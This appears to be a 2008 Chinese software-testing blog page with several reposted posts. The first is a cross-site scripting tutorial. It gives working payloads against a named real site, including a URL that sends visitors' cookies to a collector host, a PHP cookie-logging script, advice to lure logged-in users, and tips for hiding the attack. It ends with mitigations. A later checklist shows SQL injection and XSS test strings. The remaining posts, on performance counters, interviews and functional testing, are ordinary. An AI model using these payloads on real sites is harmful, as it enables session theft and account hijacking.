日历
| |||||||||
| 日 | 一 | 二 | 三 | 四 | 五 | 六 | |||
| 1 | 2 | 3 | 4 | ||||||
| 5 | 6 | 7 | 8 | 9 | 10 | 11 | |||
| 12 | 13 | 14 | 15 | 16 | 17 | 18 | |||
| 19 | 20 | 21 | 22 | 23 | 24 | 25 | |||
| 26 | 27 | 28 | 29 | 30 | 31 | ||||
搜索标题
我的收藏
统计信息
- 访问量: 1882
- 日志数: 14
- 书签数: 1
- 建立时间: 2008-03-19
- 更新时间: 2008-08-13
RSS订阅
我的最新日志
-
跨站脚本执行漏洞详解(转)
2008-8-13
由于目前介绍跨站脚本执行漏洞的资料还不是很多，而且一般也不是很详细，所以希望本文能够比较详细的介绍该漏洞。由于时间仓促，水平有限，本文可能有不少错误，希望大家不吝赐教。声明，请不要利用本文介绍的任何内容，代码或方法进行破坏，否则一切后果自负！
【漏洞成因】
原因很简单，就是因为CGI程序没有对用户提交的变量中的HTML代码进行过滤或转换。【漏洞形式】
这里所说的形式，实际上是指CGI输入的形式，主要分为两种：
1．显示输入
2．隐式输入
其中显示输入明确要求用户输入数据，而隐式输入则本来并不要求用户输入数据，但是用户却可以通过输入数据来进行干涉。
显示输入又可以分为两种：
1． 输入完成立刻输出结果
2． 输入完成先存储在文本文件或数据库中，然后再输出结果
注意：后者可能会让你的网站面目全非！：（
而隐式输入除了一些正常的情况外，还可以利用服务器或CGI程序处理错误信息的方式来实施。【漏洞危害】
大家最关心的大概就要算这个问题了，下面列举的可能并不全面，也不系统，但是我想应该是比较典型的吧。
1． 获取其他用户Cookie中的敏感数据
2． 屏蔽页面特定信息
3． 伪造页面信息
4． 拒绝服务攻击
5． 突破外网内网不同安全设置
6． 与其它漏洞结合，修改系统设置，查看系统文件，执行系统命令等
7． 其它
一般来说，上面的危害还经常伴随着页面变形的情况。而所谓跨站脚本执行漏洞，也就是通过别人的网站达到攻击的效果，也就是说，这种攻击能在一定程度上隐藏身份。【利用方式】
下面我们将通过具体例子来演示上面的各种危害，这样应该更能说明问题，而且更易于理解。为了条理更清晰一些，我们将针对每种危害做一个实验。
为了做好这些实验，我们需要一个抓包软件，我使用的是Iris，当然你可以选择其它的软件，比如 NetXray什么的。至于具体的使用方法，请参考相关帮助或手册。
另外，需要明白的一点就是：只要服务器返回用户提交的信息，就可能存在跨站脚本执行漏洞。
好的，一切就绪，我们开始做实验！：）实验一：获取其他用户Cookie中的敏感信息
我们以国内著名的同学录站点5460.net为例来说明一下，请按照下面的步骤进行：
1． 进入首页http://www.5460.net/
2． 输入用户名“<h1>”，提交，发现服务器返回信息中包含了用户提交的“<h1>”。
3． 分析抓包数据，得到实际请求：
http://www.5460.net/txl/login/login.pl?username=<h1>&passwd=&ok.x=28&ok.y=6
4． 构造一个提交，目标是能够显示用户Cookie信息：
http://www.5460.net/txl/login/login.pl?username=<scrīpt>alert(document.cookie)</scrīpt>&passwd=&ok.x=28&ok.y=6
5． 如果上面的请求获得预期的效果，那么我们就可以尝试下面的请求：
http://www.5460.net/txl/login/login.pl?username=<scrīpt>window.open("http://www.notfound.org/info.php?"%2Bdocument.cookie)</scrīpt>&passwd=&ok.x=28&ok.y=6。其中http://www.notfound.org/info.php是你能够控制的某台主机上的一个脚本，功能是获取查询字符串的信息，内容如下：<?php
$info = getenv("QUERY_STRING");
if ($info) {
$fp = fopen("info.txt","a");
fwrite($fp,$info."/n");
fclose($fp);
}
header("Location:http://www.5460.net");
注：“%2B”为“+”的URL编码，并且这里只能用“%2B”，因为“+”将被作为空格处理。后面的header语句则纯粹是为了增加隐蔽性。
6． 如果上面的URL能够正确运行的话，下一步就是诱使登陆5460.net的用户访问该URL，而我们就可以获取该用户Cookie中的敏感信息。
7． 后面要做什么就由你决定吧！实验二：屏蔽页面特定信息
我们仍然以5460.net作为例子，下面是一个有问题的CGI程序：
http://www.5460.net/txl/liuyan/liuyanSql.pl
该CGI程序接受用户提供的三个变量，即nId，csId和cName，但是没有对用户提交的cName变量进行任何检查，而且该CGI程序把cName的值作为输出页面的一部分，5460.net的用户应该都比较清楚留言右下角有你的名字，对吧？
既然有了上面的种种条件，我们可以不妨作出这样的结论：某个用户可以“屏蔽”其两次留言之间的所有留言！
当然，我们说的“屏蔽”不是“删除”，用户的留言还是存在的，只不过由于HTML的特性，我们无法从页面看到，当然如果你喜欢查看源代码的话就没有什么用处了，但是除了我们这些研究CGI安全的人来说，有多少人有事没事都看HTML源代码？
由于种种原因，我在这里就不公布具体的细节了，大家知道原理就好了。
注：仔细想想，我们不仅能屏蔽留言，还能匿名留言，Right？实验三：伪造页面信息
如果你理解了上面那个实验，这个实验就没有必要做了，基本原理相同，只是实现起来稍微麻烦一点而已。实验四：拒绝服务攻击
现在应该知道，我们在某种程度上可以控制存在跨站脚本执行漏洞的服务器的行为，既然这样，我们就可以控制服务器进行某种消耗资源的动作。比如说运行包含死循环或打开无穷多个窗口的Javascrīpt脚本等等。这样访问该URL的用户系统就可能因此速度变慢甚至崩溃。同样，我们也可能在其中嵌入一些脚本，让该服务器请求其它服务器上的资源，如果访问的资源比较消耗资源，并且访问人数比较多的话，那么被访问的服务器也可能被拒绝服务，而它则认为该拒绝服务攻击是由访问它的服务器发起的，这样就可以隐藏身份。实验五：突破外网内网不同安全设置
这个应该很好理解吧，一般来说我们的浏览器对不同的区域设置了不同的安全级别。举例来说，对于Internet区域，可能你不允许Javascrīpt执行，而在Intranet区域，你就允许Javascrīpt执行。一般来说，前者的安全级别都要高于后者。这样，一般情况下别人无法通过执行恶意Javascrīpt脚本对你进行攻击，但是如果与你处于相同内网的服务器存在跨站脚本执行漏洞，那么攻击者就有机可乘了，因为该服务器位于Intranet 区域。实验六：与其它漏洞结合，修改系统设置，查看系统文件，执行系统命令等
由于与浏览器相关的漏洞太多了，所以可与跨站脚本执行漏洞一起结合的漏洞也就显得不少。我想这些问题大家都应该很清楚吧，前些时间的修改IE标题漏洞，错误MIME类型执行命令漏洞，还有多种多样的蠕虫，都是很好的例子。
更多的例子请参考下列链接：Internet Explorer Pop-Up OBJECT Tag Bug
http://archives.neohapsis.com/archives/bugtraq/2002-01/0167.html
Internet Explorer Javascrīpt Modeless Popup Local Denial of Service Vulnerability
http://archives.neohapsis.com/archives/bugtraq/2002-01/0058.html
MSIE6 can read local files
http://www.xs4all.nl/~jkuperus/bug.htm
MSIE may download and run progams automatically
http://archives.neohapsis.com/archives/bugtraq/2001-12/0143.html
File extensions spoofable in MSIE download dialog
http://archives.neohapsis.com/archives/bugtraq/2001-11/0203.html
the other IE cookie stealing bug (MS01-055)
http://archives.neohapsis.com/archives/bugtraq/2001-11/0106.html
Microsoft Security Bulletin MS01-055
http://archives.neohapsis.com/archives/bugtraq/2001-11/0048.html
Serious security Flaw in Microsoft Internet Explorer - Zone Spoofing
http://archives.neohapsis.com/archives/bugtraq/2001-10/0075.html
Incorrect MIME Header Can Cause IE to Execute E-mail Attachment
http://www.kriptopolis.com/cua/eml.html
跨站脚本执行漏洞在这里的角色就是隐藏真正攻击者的身份。实验七：其它
其实这类问题和跨站脚本执行漏洞没有多大关系，但是在这里提一下还是很有必要的。问题的实质还是CGI程序没有过滤用户提交的数据，然后进行了输出处理。举个例子来说，支持SSI的服务器上的CGI程序输出了用户提交的数据，无论该数据是采取何种方式输入，都可能导致SSI指令的执行。当然，这是在服务端，而不是客户端执行。其实像ASP，PHP和Perl等CGI语言都可能导致这种问题。【隐藏技巧】
出于时间的考虑，我在这里将主要讲一下理论了，相信不是很难懂，如果实在有问题，那么去找本书看吧。
1． URL编码
比较一下：http://www.5460.net/txl/login/login.pl?username=<h1>&passwd=&ok.x=28&ok.y=6
http://www.5460.net/txl/login/login.pl?username=%3C%68%31%3E&passwd=&ok.x=28&ok.y＝6
你觉得哪个更有隐蔽性？！2． 隐藏在其它对象之下
与直接给别人一个链接相比，你是否决定把该链接隐藏在按钮以下更好些呢？3． 嵌入页面中
让别人访问一个地址（注意这里的地址不同于上面提到的URL），是不是又要比让别人按一个按钮容易得多，借助于Iframe，你可以把这种攻击变得更隐蔽。4． 合理利用事件
合理使用事件，在某些情况上可以绕过CGI程序对输入的限制，比如说前些日子的SecurityFocus的跨站脚本执行漏洞。【注意事项】
一般情况下直接进行类似<scrīpt>alert(document.cookie)</scrīpt>之类的攻击没有什么问题，但是有时CGI程序对用户的输入进行了一些处理，比如说包含在’’或””之内，这时我们就需要使用一些小技巧来绕过这些限制。
如果你对HTML语言比较熟悉的话，绕过这些限制应该不成问题。【解决方法】
要避免受到跨站脚本执行漏洞的攻击，需要程序员和用户两方面共同努力：
程序员：
1． 过滤或转换用户提交数据中的HTML代码
2． 限制用户提交数据的长度用户：
1． 不要轻易访问别人给你的链接
2． 禁止浏览器运行Javascrīpt和ActiveX代码附：常见浏览器修改设置的位置为：
Internet Explorer：
工具->Internet选项->安全->Internet->自定义级别
工具->Internet选项->安全->Intranet->自定义级别
Opera：
文件->快速参数->允许使用Java
文件->快速参数->允许使用插件
文件->快速参数->允许使用Javascrīpt -
测试风险
2008-8-12
问题：变更的控制测试计划改变了已往根据任务进行测试的方式，因此，为使测试计划得到贯彻和落实，测试组人员必须及时跟踪软件开发的过程，对产品提交测试做准备，测试计划的目的，本身就是强调按规划的测试战略进行测试，淘汰以往以任务为主的临时性。在这种情况下，测试计划中强调对变更的控制显得尤为重要。
变更来源于以下几个方面
1． 项目计划的变更
2． 需求的变更
3． 测试产品版本的变更
4． 测试资源的变更
测试阶段的风险主要是对上述变更所造成的不确定性，有效的应对这些变更就能降低风险发生的几率。要想计划本身不成为空谈和空白无用的纸质文档，对不确定因素的预见和事先防范必须做到心中有数。
问题：人员
人员的离职，休假等。一定要有候补。
-
WEB安全测试通常要考虑的测试点(转)
2008-8-07
安全测试通常要考虑的测试点
1，
问题：没有被验证的输入
测试方法：
数据类型（字符串，整型，实数，等）
允许的字符集
最小和最大的长度
是否允许空输入
参数是否是必须的
重复是否允许
数值范围
特定的值（枚举型）
特定的模式（正则表达式）
2，
问题：有问题的访问控制
测试方法：
主要用于需要验证用户身份以及权限的页面，复制该页面的url地址，关闭该页面以后，查看是否可以直接进入该复制好的地址
例：从一个页面链到另一个页面的间隙可以看到URL地址
直接输入该地址，可以看到自己没有权限的页面信息，
3 错误的认证和会话管理
例：对Grid、Label、Tree view类的输入框未作验证，输入的内容会按照html语法解析出来
4，缓冲区溢出
没有加密关键数据
例：view－source：http地址可以查看源代码
在页面输入密码，页面显示的是 *****, 右键，查看源文件就可以看见刚才输入的密码，
5，拒绝服务
分析：攻击者可以从一个主机产生足够多的流量来耗尽狠多应用程序，最终使程序陷入瘫痪。需要做负载均衡来对付。
6，不安全的配置管理
分析：Config中的链接字符串以及用户信息，邮件，数据存储信息都需要加以保护
程序员应该作的： 配置所有的安全机制，关掉所有不使用的服务，设置角色权限帐号，使用日志和警报。
分析：用户使用缓冲区溢出来破坏web应用程序的栈，通过发送特别编写的代码到web程序中，攻击者可以让web应用程序来执行任意代码。
7，注入式漏洞。
例：一个验证用户登陆的页面，
如果使用的sql语句为：
Select * from table A where username＝’’ + username+’’ and pass word …..
Sql 输入 ‘ or 1＝1 ―― 就可以不输入任何password进行攻击
8，不恰当的异常处理
分析：程序在抛出异常的时候给出了比较详细的内部错误信息，暴露了不应该显示的执行细节，网站存在潜在漏洞，
9，不安全的存储
分析：帐号列表：系统不应该允许用户浏览到网站所有的帐号，如果必须要一个用户列表，推荐使用某种形式的假名（屏幕名）来指向实际的帐号。
浏览器缓存：认证和会话数据不应该作为GET的一部分来发送，应该使用POST，
10 问题：跨站脚本（XSS）
分析：攻击者使用跨站脚本来发送恶意代码给没有发觉的用户，窃取他机器上的任意资料
测试方法：
• HTML标签：<…>…</…>
• 转义字符：&(&)；<(<)；>(>)； (空格) ；
• 脚本语言：
<scrīpt language=‘javascrīpt’>
…Alert(‘’)
</scrīpt>
• 特殊字符：‘ ’ < > /
• 最小和最大的长度
• 是否允许空输入 -
Windows 性能监视器的计数器及阈值应用(转)
2008-7-08
我把我整理的一些计数器及其阈值要求等贴出来，这些计数器是针对我对windows操作系统，C/S结构的sql server数据库及WEB平台.net产品测试时的一些计数器；Memory: 内存使用情况可能是系统性能中最重要的因素。如果系统“页交换”频繁，说明内存不足。“页交换”是使用称为“页面”的单位，将固定大小的代码和数据块从 RAM 移动到磁盘的过程，其目的是为了释放内存空间。尽管某些页交换使 Windows 2000 能够使用比实际更多的内存，也是可以接受的，但频繁的页交换将降低系统性能。减少页交换将显著提高系统响应速度。要监视内存不足的状况，请从以下的对象计数器开始：
Available Mbytes:可用物理内存数. 如果Available Mbytes的值很小（4 MB 或更小），则说明计算机上总的内存可能不足，或某程序没有释放内存。
page/sec: 表明由于硬件页面错误而从磁盘取出的页面数，或由于页面错误而写入磁盘以释放工作集空间的页面数。一般如果pages/sec持续高于几百，那么您应该进一步研究页交换活动。有可能需要增加内存，以减少换页的需求（你可以把这个数字乘以4k就得到由此引起的硬盘数据流量）。Pages/sec 的值很大不一定表明内存有问题，而可能是运行使用内存映射文件的程序所致。
page read/sec:页的硬故障，page/sec的子集，为了解析对内存的引用，必须读取页文件的次数。阈值为>5. 越低越好。大数值表示磁盘读而不是缓存读。
由于过多的页交换要使用大量的硬盘空间，因此有可能将导致将页交换内存不足与导致页交换的磁盘瓶径混淆。因此，在研究内存不足不太明显的页交换的原因时，您必须跟踪如下的磁盘使用情况计数器和内存计数器：
Physical Disk\ % Disk Time
Physical Disk\ Avg.Disk Queue Length
例如，包括 Page Reads/sec 和 % Disk Time 及 Avg.Disk Queue Length。如果页面读取操作速率很低，同时 % Disk Time 和 Avg.Disk Queue Length的值很高，则可能有磁盘瓶径。但是，如果队列长度增加的同时页面读取速率并未降低，则内存不足。
要确定过多的页交换对磁盘活动的影响，请将 Physical Disk\ Avg.Disk sec/Transfer 和 Memory\ Pages/sec 计数器的值增大数倍。如果这些计数器的计数结果超过了 0.1，那么页交换将花费百分之十以上的磁盘访问时间。如果长时间发生这种情况，那么您可能需要更多的内存。
Page Faults/sec:每秒软性页面失效的数目（包括有些可以直接在内存中满足而有些需要从硬盘读取）较page/sec只表明数据不能在内存的指定工作集中立即使用。
Cache Bytes：文件系统缓存（File System Cache），默认情况下为50%的可用物理内存。如IIS5.0 运行内存不够时，它会自动整理缓存。需要关注该计数器的趋势变化
如果您怀疑有内存泄露，请监视 Memory\ Available Bytes 和 Memory\ Committed Bytes，以观察内存行为，并监视您认为可能在泄露内存的进程的 Process\Private Bytes、Process\Working Set 和Process\Handle Count。如果您怀疑是内核模式进程导致了泄露，则还应该监视 Memory\Pool Nonpaged Bytes、Memory\ Pool Nonpaged Allocs 和 Process(process_name)\ Pool Nonpaged Bytes。
Pages per second :每秒钟检索的页数。该数字应少于每秒一页。Process：
%Processor Time: 被处理器消耗的处理器时间数量。如果服务器专用于sql server,可接受的最大上限是80-85%
Page Faults/sec:将进程产生的页故障与系统产生的相比较，以判断这个进程对系统页故障产生的影响。
Work set: 处理线程最近使用的内存页，反映了每一个进程使用的内存页的数量。如果服务器有足够的空闲内存，页就会被留在工作集中，当自由内存少于一个特定的阈值时，页就会被清除出工作集。
Inetinfo:Private Bytes:此进程所分配的无法与其它进程共享的当前字节数量。如果系统性能随着时间而降低，则此计数器可以是内存泄漏的最佳指示器。Processor：监视“处理器”和“系统”对象计数器可以提供关于处理器使用的有价值的信息，帮助您决定是否存在瓶颈。
%Processor Time:如果该值持续超过95%，表明瓶颈是CPU。可以考虑增加一个处理器或换一个更快的处理器。
%User Time:表示耗费CPU的数据库操作，如排序，执行aggregate functions等。如果该值很高，可考虑增加索引，尽量使用简单的表联接，水平分割大表格等方法来降低该值。
%Privileged Time：（CPU内核时间）是在特权模式下处理线程执行代码所花时间的百分比。如果该参数值和"Physical Disk"参数值一直很高，表明I/O有问题。可考虑更换更快的硬盘系统。另外设置Tempdb in RAM，减低"max async IO"，"max lazy writer IO"等措施都会降低该值。
此外，跟踪计算机的服务器工作队列当前长度的 Server Work Queues\ Queue Length 计数器会显示出处理器瓶颈。队列长度持续大于 4 则表示可能出现处理器拥塞。此计数器是特定时间的值，而不是一段时间的平均值。
% DPC Time:越低越好。在多处理器系统中，如果这个值大于50%并且Processor:% Processor Time非常高，加入一个网卡可能会提高性能，提供的网络已经不饱和。Thread
ContextSwitches/sec: (实例化inetinfo 和dllhost 进程) 如果你决定要增加线程字节池的大小，你应该监视这三个计数器（包括上面的一个）。增加线程数可能会增加上下文切换次数，这样性能不会上升反而会下降。如果十个实例的上下文切换值非常高，就应该减小线程字节池的大小。Physical Disk:
%Disk Time %:指所选磁盘驱动器忙于为读或写入请求提供服务所用的时间的百分比。如果三个计数器都比较大，那么硬盘不是瓶颈。如果只有%Disk Time比较大，另外两个都比较适中，硬盘可能会是瓶颈。在记录该计数器之前，请在Windows 2000 的命令行窗口中运行diskperf -yD。若数值持续超过80%，则可能是内存泄漏。
Avg.Disk Queue Length:指读取和写入请求(为所选磁盘在实例间隔中列队的)的平均数。该值应不超过磁盘数的1.5~2 倍。要提高性能，可增加磁盘。注意：一个Raid Disk实际有多个磁盘。
Average Disk Read/Write Queue Length:指读取(写入)请求(列队)的平均数。
Disk Reads(Writes)/s: 物理磁盘上每秒钟磁盘读、写的次数。两者相加，应小于磁盘设备最大容量。
Average Disksec/Read: 指以秒计算的在此盘上读取数据的所需平均时间。
Average Disk sec/Transfer:指以秒计算的在此盘上写入数据的所需平均时间。
Network Interface：
Bytes Total/sec :为发送和接收字节的速率，包括帧字符在内。判断网络连接速度是否是瓶颈，可以用该计数器的值和目前网络的带宽比较SQLServer性能计数器：
Access Methods(访问方法) 用于监视访问数据库中的逻辑页的方法。
. Full Scans/sec(全表扫描/秒) 每秒不受限的完全扫描数。可以是基本表扫描或全索引扫描。如果这个计数器显示的值比1或2高，应该分析你的查询以确定是否确实需要全表扫描，以及S Q L查询是否可以被优化。
. Page splits/sec(页分割/秒)由于数据更新操作引起的每秒页分割的数量。
Buffer Manager(缓冲器管理器)：监视 Microsoft® SQL Server? 如何使用： 内存存储数据页、内部数据结构和过程高速缓存；计数器在 SQL Server 从磁盘读取数据库页和将数据库页写入磁盘时监视物理 I/O。 监视 SQL Server 所使用的内存和计数器有助于确定： 是否由于缺少可用物理内存存储高速缓存中经常访问的数据而导致瓶颈存在。如果是这样，SQL Server 必须从磁盘检索数据。 是否可通过添加更多内存或使更多内存可用于数据高速缓存或 SQL Server 内部结构来提高查询性能。
SQL Server 需要从磁盘读取数据的频率。与其它操作相比，例如内存访问，物理 I/O 会耗费大量时间。尽可能减少物理 I/O 可以提高查询性能。
.Page Reads/sec：每秒发出的物理数据库页读取数。这一统计信息显示的是在所有数据库间的物理页读取总数。由于物理 I/O 的开销大，可以通过使用更大的数据高速缓存、智能索引、更高效的查询或者改变数据库设计等方法，使开销减到最小。
.Page Writes/sec (.写的页/秒) 每秒执行的物理数据库写的页数。
.Buffer Cache Hit Ratio. 在“缓冲池”（Buffer Cache/Buffer Pool）中没有被读过的页占整个缓冲池中所有页的比率。可在高速缓存中找到而不需要从磁盘中读取的页的百分比。这一比率是高速缓存命中总数除以自 SQL Server 实例启动后对高速缓存的查找总数。经过很长时间后，这一比率的变化很小。由于从高速缓存中读数据比从磁盘中读数据的开销要小得多，一般希望这一数值高一些。通常，可以通过增加 SQL Server 可用的内存数量来提高高速缓存命中率。计数器值依应用程序而定，但比率最好为90% 或更高。增加内存直到这一数值持续高于90%，表示90% 以上的数据请求可以从数据缓冲区中获得所需数据。
. Lazy Writes/sec(惰性写/秒)惰性写进程每秒写的缓冲区的数量。值最好为0。
Cache Manager(高速缓存管理器) 对象提供计数器，用于监视 Microsoft® SQL Server? 如何使用内存存储对象，如存储过程、特殊和准备好的 Transact-SQL 语句以及触发器。
. Cache Hit Ratio(高速缓存命中率，所有Cache”的命中率。在SQL Server中，Cache可以包括Log Cache，Buffer Cache以及Procedure Cache，是一个总体的比率。) 高速缓存命中次数和查找次数的比率。对于查看SQL Server高速缓存对于你的系统如何有效，这是一个非常好的计数器。如果这个值很低，持续低于80%，就需要增加更多的内存。
Latches(闩) 用于监视称为闩锁的内部 SQL Server 资源锁。监视闩锁以明确用户活动和资源使用情况，有助于查明性能瓶颈。
. Average Latch Wait Ti m e ( m s ) (平均闩等待时间(毫秒)) 一个SQL Server线程必须等待一个闩的平均时间，以毫秒为单位。如果这个值很高，你可能正经历严重的竞争问题。
. Latch Waits/sec (闩等待/秒) 在闩上每秒的等待数量。如果这个值很高，表明你正经历对资源的大量竞争。
Locks(锁) 提供有关个别资源类型上的 SQL Server 锁的信息。锁加在 SQL Server 资源上（如在一个事务中进行的行读取或修改），以防止多个事务并发使用资源。例如，如果一个排它 (X) 锁被一个事务加在某一表的某一行上，在这个锁被释放前，其它事务都不可以修改这一行。尽可能少使用锁可提高并发性，从而改善性能。可以同时监视 Locks 对象的多个实例，每个实例代表一个资源类型上的一个锁。
. Number of Deadlocks/sec(死锁的数量/秒) 导致死锁的锁请求的数量
. Average Wait Time(ms) (平均等待时间(毫秒)) 线程等待某种类型的锁的平均等待时间
. Lock Requests/sec(锁请求/秒) 每秒钟某种类型的锁请求的数量。
Memory manager:用于监视总体的服务器内存使用情况，以估计用户活动和资源使用，有助于查明性能瓶颈。监视 SQL Server 实例所使用的内存有助于确定：
是否由于缺少可用物理内存存储高速缓存中经常访问的数据而导致瓶颈存在。如果是这样，SQL Server 必须从磁盘检索数据。
是否可以通过添加更多内存或使更多内存可用于数据高速缓存或 SQL Server 内部结构来提高查询性能。
Lock blocks:服务器上锁定块的数量，锁是在页、行或者表这样的资源上。不希望看到一个增长的值。
Total server memory：sql server服务器当前正在使用的动态内存总量.监视IIS需要的一些计数器
Internet Information Services Global:
File Cache Hits %、File CacheFlushes、File Cache Hits
File Cache Hits %是全部缓存请求中缓存命中次数所占的比例，反映了IIS 的文件缓存设置的工作情况。对于一个大部分是静态网页组成的网站，该值应该保持在80%左右。而File Cache Hits是文件缓存命中的具体值，File CacheFlushes 是自服务器启动之后文件缓存刷新次数，如果刷新太慢，会浪费内存；如果刷新太快，缓存中的对象会太频繁的丢弃生成，起不到缓存的作用。通过比较File Cache Hits 和File Cache Flushes 可得出缓存命中率对缓存清空率的比率。通过观察它两个的值，可以得到一个适当的刷新值（参考IIS 的设置ObjectTTL 、MemCacheSize 、MaxCacheFileSize）
Web Service:
Bytes Total/sec:显示Web服务器发送和接受的总字节数。低数值表明该IIS正在以较低的速度进行数据传输。
Connection Refused：数值越低越好。高数值表明网络适配器或处理器存在瓶颈。
Not Found Errors：显示由于被请求文件无法找到而无法由服务器满足的请求数（HTTP状态代码404） -
组建好测试团队之面试篇
2008-6-13
不管你是在组建一个项目组还是在组建一个测试组，你都需要发现你认为能干的测试员是否如你所愿地能干。不仅仅要考虑测试，还要考虑这份工作所需要的技能：
1、选择满足项目的测试技能
2、适应项目的条件（在项目中改变测试或测试技巧的能力）
3、在项目过程中评估和报告风险
4、知道什么时候继续工作，什么时候转移到其他地方
5、对测试员认为应该在发布前修正的缺陷进行建议修改
6、编写好的缺陷报告这里是一些你可以在判断你的测试应聘者是否适合你的项目组的问题，尤其是应聘者之前没有在与你类似的项目组工作过。
选择测试技术
“在你最近的项目中，你是如何决定使用某个测试技术的？”（等待这个测试员的回答）“告诉我关于项目的事情，还有你是怎样做出你的决定的。”随后的问题是，“你是否曾经工作在一个项目，在里面你所选择的技术没能帮助你评估产品？为什么？”最后的问题可以是，“你学到了什么技术是可以应用到你的工作中去的？”
适应性
“你是否碰到过在测试过程中需要改变调整的情况？你是怎样做的？是什么情况导致了要改变？”（确保等待每个问题的回答，清楚地得到每个问题的答案）。
尤其是当我要招聘的是高级测试员，我需要的是那些碰到问题并且能有效解决问题的人。
风险管理
“在你最近的项目中出现过什么风险没有？你能否预料到这些风险？你计划了什么风险措施？最近一次感到惊讶的风险是什么？”（在你倾听这些回答时，允许你自己调整问题的顺序，或基于测试员的答案调整问题。）
风险总是会出现，最好的解决方法是管理并风险提前计划。如果你知道什么是令测试员惊讶的风险，则了解到了他的风险意识的盲点。如果一个测试员很久没有对风险感到惊讶了，我会认为他没有为他所在的团队的成功很好地工作。
改变任务
“你是如何完成你最近的项目的？你能否完成你要做的所有测试？你怎样权衡这些测试要不要做？是否有中间过渡的交付？他们是什么？”
我需要知道这个测试员是否考虑了测试产生的各种信息，是否应用什么方法来判断测试的进展情况。我想知道他在什么时候会坚持工作，什么时候会转移到其他工作任务。
促进BUG的修改
“你是否曾经要求开发人员修改某个缺陷？最近一次是什么时候？你怎样做的？最终发生了什么事情？”
促进BUG的修改不是一个技术性的问题，但是会对项目造成重大的影响。
编写好的缺陷报告
我通常不直接问测试员他写缺陷报告的能力如何，我使用审核的方式。在一个正在开发的项目或一个存在缺陷的产品，要求这个测试员用20-30分钟去测试这个产品。给他几张白纸，让他把测试发现的缺陷写在上面。最后我们一起来看缺陷报告，并让这个测试员解释。我会从这些缺陷报告中判断测试员的缺陷报告能力。
另外，我还会问应聘者快速学习的问题，例如“你是否曾经到了一个项目，里面的人你完全不认识的？你是怎样做的？”如果应聘者没能很快地学习，那么你也不敢确定他是否能很快地学习需要的技能。如果应聘者能很快地在不同的环境学习，则判断那个环境是否与你的项目相近。然后判断这个应聘者是否能适应你的项目。
这些行为描述（behavīor-descrīption）的问题和审核能帮助你发现一个测试员是否适合你的项目。
如果你需要的是更好的测试员，则寻找他的类似的经验和跨越学习曲线的能力。确保你了解他之前所在的项目的方方面面，帮助你决定应聘者能否很好地完成相关的工作。
剔除招聘的风险。把测试和审核加入到你的面试流程中会帮助你构建更好的团队。
-
LR HTTP/HTML脚本中过滤不需要的请求
2008-5-22
测试web页面，经常会发现页面会有跨域的请求、不必要的链接等等。这些链接会降低了脚本执行的效率，即脚本在执行到那个请求的时候需要等待超时时间，而这个请求虽然在这个网站中，但对我们测试并无任何意义，此时就需要对它进行屏蔽。
操作方法：
在运行设置——download filters中进行设置，我们可以ADD一个URL（例如：http：//www,test.com/job），然后选择exclude addresses in list，这样设置完成后，系统在运行的时候就不会下载设置的那个连接了，该设置中还有另外一个选项，是控制只下载的：include only addresses in list。
该选项还可用于调优：比如，系统中有个图片下载速度很慢，我们为了确定是否是他的原因引起的性能问题，我们可以将图片下载屏蔽前和屏蔽后进行对比，这样就可以验证这个问题了。
-
常用的网站功能测试方法(转)
2008-4-24
网站功能测试就是对产品的各功能进行验证，根据功能测试用例，逐项测试，检查产品是否达到用户要求的功能。常用的测试方法如下：
1、页面链接检查： 每一个链接是否都有对应的页面，并且页面之间切换工具，如LinkBotPro、File-AIDCS、HTML Link Validater、Xenu等工具。LinkBotPro不支持中文，中文字符显示为乱码；HTML Link Validater只能测试以Html或者htm结尾的网页链接；Xenu无需安装，支持asp、do、jsp等结尾的网页，同时能够生成html格式的测试报告。
2、相关性检查：删除/增加一项会不会对其他项产生影响，如果产生影响，这些影响是否都正确检查按钮的功能是否正确 如新建、编辑、删除、关闭、返回、保存、导入等功能是否正确。
3、字符类型检查：在应该输入指定类型的内容的地方输入其他类型的内容(如在应该输入整型的地方输入其他字符类型),看系统是否检查字符类型。
1）标点符号检查：输入内容包括各种标点符号,特别是空格,各种引号,回车键。看系统处理是否正确。
2）特殊字符检查：输入特殊符号，如@、#、$、%、!等，看系统处理是否正确。
3)字符串长度检查: 输入超出需求所说明的字符串长度的内容, 看系统是否检查字符串长度。
4、中文字符处理：在可以输入中、英文的系统输入中文,看会否出现乱码或出错。
检查信息的完整性 在查看信息和更新信息时,查看所填写的信息是不是全部更新,更新信息和添加信息是否一致。
5、信息重复：在一些需要命名,且名字应该唯一的信息输入重复的名字或ID,看系统有没有处理,会否报错,重名包括是否区分大小写,以及在输入内容的前后输入空格,系统是否作出正确处理。
6、检查删除功能：在一些可以一次删除多个信息的地方,不选择任何信息,按“delete”,看系统如何处理,会否出错;然后选择一个和多个信息,进行删除,看是否正确处理。
7、检查添加和修改是否一致：检查添加和修改信息的要求是否一致,例如添加要求必填的项,修改也应该必填;添加规定为整型的项,修改也必须为整型
8、检查修改重名：修改时把不能重名的项改为已存在的内容,看会否处理,报错.同时,也要注意,会不会报和自己重名的错
9、重复提交表单：一条已经成功提交的纪录，返回后再提交，看看系统是否做了处理。对于Web系统检查多次使用返回键的情况 在有返回键的地方,返回到原来页面,重复多次，看会否出错
10、搜索检查：有搜索功能的地方输入系统存在和不存在的内容,看搜索结果是否正确.如果可以输入多个搜索条件,可以同时添加合理和不合理的条件,看系统处理是否正确。
11、输入信息位置：注意在光标停留的地方输入信息时,光标和所输入的信息会否跳到别的地方。
12、上传下载文件检查：上传下载文件的功能是否实现，上传文件是否能打开。对上传文件的格式有何规定，系统是否有解释信息，并检查系统是否能够做到。下载文件能否打开或者保存，下载的文件是否有格式要求，如需要特殊工具才可以打开等。
13、必填项检查：应该填写的项没有填写时系统是否都做了处理，对必填项是否有提示信息，如在必填项前加“*”；对必填项提示返回后，焦点是否会自动定位到必填项。
14、快捷键检查：是否支持常用快捷键，如Ctrl+C、 Ctrl+V、 Backspace等，对一些不允许输入信息的字段，如选人，选日期对快捷方式是否也做了限制。
15、回车键检查：在输入结束后直接按回车键,看系统处理如何,会否报错。
16、刷新键检查：在Web系统中，使用浏览器的刷新键，看系统处理如何，会否报错。
17、回退键检查：在Web系统中，使用浏览器的回退键，看系统处理如何，会否报错。对于需要用户验证的系统，在退出登录后，使用回退键，看系统处理如何；多次使用回退键，多次使用前进键，看系统如何处理。
18、直接URL链接检查：在Web系统中，直接输入各功能页面的URL地址，看系统如何处理，对于需要用户验证的系统更为重要。
19、空格检查：在输入信息项中，输入一个或连串空格，查看系统如何处理。如对于要求输入整型、符点型变量的项中，输入空格，既不是空值，又不是标准输入。
